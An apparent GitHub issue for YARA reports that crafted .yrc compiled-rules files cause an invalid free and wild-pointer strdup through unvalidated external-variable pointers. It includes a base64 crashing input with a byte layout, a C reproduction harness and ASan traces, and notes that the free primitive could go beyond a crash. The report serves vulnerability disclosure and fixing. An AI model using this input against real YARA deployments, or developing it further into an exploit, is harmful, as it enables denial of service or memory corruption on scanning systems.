#2239·yara

Unvalidated external-variable pointers in the .yrc deserializer cause invalid free in yr_rules_destroy and wild-pointer strdup/strlen in yr_object_create (CWE-763)

Author: 1820893135-pixelCreated Aug 7, 2026Updated Aug 7, 2026
Labelsbug

Describe the bug

The external-variable table (YR_EXTERNAL_VARIABLE array, YR_EXTERNAL_VARIABLES_TABLE = 4) stored in a compiled-rules (.yrc) file holds pointer fields value.s and identifier. These fields are supposed to be YR_ARENA_REFs (buffer_id + offset) that relocation records at the end of the file patch into real pointers at load time. The deserializer copies the table into memory verbatim and never validates that these fields were patched or are in-bounds.

A crafted .yrc simply writes arbitrary 64-bit values into those fields. When the rules are later torn down or scanned, YARA dereferences them:

  • Invalid freeyr_rules_destroy calls yr_free(external->value.s) (rules.c:554). With value.s = 0x6f this frees a pointer that was never allocated (ASan: SEGV on address 0x5f during free).
  • Wild-pointer strdup/strlenyr_scanner_createyr_object_create calls yr_strdup(external->identifier) (object.c:97). With identifier = 0xffffffffffffffff this reads/writes an unmapped address (ASan: SEGV on 0xffffffffffffffe0 inside __interceptor_strdup).

Both paths are reachable from the public API (yr_rules_load_stream / yara -C), and the attacker fully controls the freed/dereferenced address.

To Reproduce

  1. Build YARA with ASan + UBSan (the invalid free and wild dereference are detected by ASan):

    bash
    git clone https://github.com/VirusTotal/yara.git
    cd yara
    git checkout 604822da04103d13812dbcb08f4d7d42b61f94a8
    ./bootstrap.sh
    CFLAGS="-O1 -g -fsanitize=address,undefined -fno-sanitize-recover=all -fno-omit-frame-pointer" \
    LDFLAGS="-fsanitize=address,undefined" \
    ./configure --disable-shared --enable-static
    make -j"$(nproc)"
  2. Write the exact 186-byte crashing .yrc. The base64 string below round-trips to the byte-identical crash input:

    bash
    printf 'WUFSQRUMlgAAAAAAAAAAAAAAlgAAAAAAAAAAAAAAlgAAAAAAAAAAAAAAlgAAAAAAAAAAAAAAlgAAAAAAAAAYAAAArgAAAAAAAAAAAAAArgAAAAAAAAAAAAAArgAAAAAAAAAAAAAArgAAAAAAAAAAAAAArgAAAAAAAAAAAAAArgAAAAAAAAAAAAAArgAAAAAAAAAMAAAABQAAAAAAAABvAAAAAAAAAP//////////AAAAAAAAAAAAAAAA' | base64 -d > poc2.yrc

    Structural breakdown:

    [0:6]  "YARA" + version 0x15 (21) + num_buffers = 0x0c (12)
    [6:..] 12 buffer descriptors (8-byte offset + 4-byte size)
           buffer 4  (YR_EXTERNAL_VARIABLES_TABLE) size = 24
           buffer 11 (YR_SUMMARY_SECTION)           size = 12
    buffer 4 data = one YR_EXTERNAL_VARIABLE entry:
           type       = 5  (EXTERNAL_VARIABLE_TYPE_STRING / MALLOC_STRING)
           value.s    = 0x000000000000006f   <- invalid free target
           identifier = 0xffffffffffffffff   <- wild strdup source
  3. Reproduce via the real CLI (wild-pointer strdup path, yr_scanner_create):

    bash
    ./yara -C poc2.yrc /dev/null
    echo $?

    ASan report:

    ==1182658==ERROR: AddressSanitizer: SEGV on unknown address 0xffffffffffffffe0 (pc 0x7ffff69f4277 ...)
    The signal is caused by a READ memory access.
        #0 ... in __interceptor_strdup
        #1 ... in yr_strdup
        #2 ... in yr_object_create    (libyara/object.c:97)
        #3 ... in yr_scanner_create
  4. Reproduce the invalid-free path with a minimal load-then-destroy harness (yr_rules_load_streamyr_rules_destroy, exactly what the fuzz target does). Save as harness.c:

    c
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <yara.h>
    
    int main(int argc, char **argv) {
        if (argc < 2) return 1;
        FILE *f = fopen(argv[1], "rb");
        fseek(f, 0, SEEK_END); long sz = ftell(f); fseek(f, 0, SEEK_SET);
        unsigned char *buf = malloc((size_t)sz);
        fread(buf, 1, (size_t)sz, f); fclose(f);
    
        yr_initialize();
        YR_STREAM stream; memset(&stream, 0, sizeof(stream));
        stream.data = buf; stream.data_size = (size_t)sz;
        YR_RULES *rules = NULL;
        yr_rules_load_stream(&stream, &rules);
        if (rules) yr_rules_destroy(rules);   /* invalid free: yr_free(external->value.s = 0x6f) */
        yr_finalize();
        free(buf);
        return 0;
    }
    bash
    clang -O1 -g -fsanitize=address -fno-omit-frame-pointer -I. harness.c libyara/.libs/libyara.a -o yara_load_destroy -lpthread -lm
    ./yara_load_destroy poc2.yrc

    ASan report:

    ==1182525==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000005f (pc 0x5555555a6893 ...)
    The signal is caused by a WRITE memory access.
        #0 ... in atomic_compare_exchange_strong ...
        ... free on an attacker-chosen pointer (external->value.s = 0x6f)

Expected behavior

The deserializer should validate external-variable pointer fields (value.s, identifier) after loading — reject entries whose pointer fields were not patched by relocation records or point outside the arena — and return a CORRUPT_FILE error. yr_free and yr_strdup should never be called on attacker-chosen addresses.

Screenshots

N/A

Please complete the following information:

  • OS: Linux x86-64 (Ubuntu 22.04)
  • YARA version: 4.5.8 (commit 604822da04103d13812dbcb08f4d7d42b61f94a8)

Additional context

  • Deterministic: yes — the same 186-byte input always triggers both paths.
  • Reachability: .yrc deserialization via yr_rules_load_stream; the invalid free fires on the teardown path (yr_rules_destroy, rules.c:554, reproduced with the load-then-destroy harness), the wild strdup fires on the scanning path (yr_scanner_createyr_object_create, object.c:97, reproduced with yara -C <file>).
  • Severity: high. The attacker fully controls the 64-bit value passed to free() and the address passed to strdup/strlen. The invalid free is a release-of-invalid-pointer primitive; with a suitable allocator this can be leveraged beyond a crash.
  • CWE-763 (Release of Invalid Pointer or Reference).